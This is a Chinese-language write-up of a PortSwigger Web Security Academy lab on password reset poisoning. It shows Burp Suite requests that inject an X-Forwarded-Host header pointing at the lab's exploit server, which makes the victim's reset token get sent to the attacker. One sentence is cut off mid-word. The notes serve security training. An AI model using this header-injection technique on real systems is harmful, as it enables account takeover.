> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/authentication/password-reset-poisoning-via-middleware.md).
# 通过中间件进行密码重置投毒
通过中间件进行密码重置投毒，PortSwigger Web Security Academy 实验笔记，包括利用流程、载荷测试、Burp Suite 验证以及修复上下文。
### 通过中间件进行密码重置投毒
此实验室容易受到一种攻击 **密码重置投毒**. / 用户 **carlos** 会系统地点击他收到的电子邮件中的链接。
最终目标： **访问 carlos 账户**.
* 有效凭据：
* `wiener:peter`
* 发送到我们账户的电子邮件可以通过漏洞利用服务器的 \*\*电子邮件客户端\*\* 访问。
密码重置功能可访问，并允许输入用户名。
当你使用我们自己的账户（`wiener`），会发送一封电子邮件，其中包含此类链接：
{% code overflow="wrap" %}
```bash
https://0a45005104c7f2228168b62400a90036.web-security-academy.net/forgot-password?temp-forgot-password-token=wadsb5f13habt0byz2ifrf68srpga96p
```
{% endcode %}
此链接会重定向到一个页面，用于使用临时 **令牌**.
**通过 Burp Suite 进行篡改测试**
通过拦截密码重置请求，借助 **Burp Suite**，我们添加以下 HTTP 头：
```http
X-Forwarded-Host: test.com
username=wiener
```
收到的电子邮件仍然包含有效令牌，但 \*\*l
这表明应用程序 \*\* 信任 `X-Forwarded-Host`\*\* 头部来生成重置链接。
```http
X-Forwarded-Host: exploit-0af100e80420f2c381b0b5a301a8008c.exploit-server.net
username=carlos
```
**对受害者进行利用**
重复该攻击，这次针对 **carlos** 并使用 URL **漏洞利用服务器**
会向 carlos 发送一封包含重置链接的电子邮件 **托管在我们的漏洞利用服务器上**，并带有一个有效的 **令牌**:
```bash
/forgot-password?temp-forgot-password-token=r5jf8u0c48zh54pgoqx8jol619pboi3i
```
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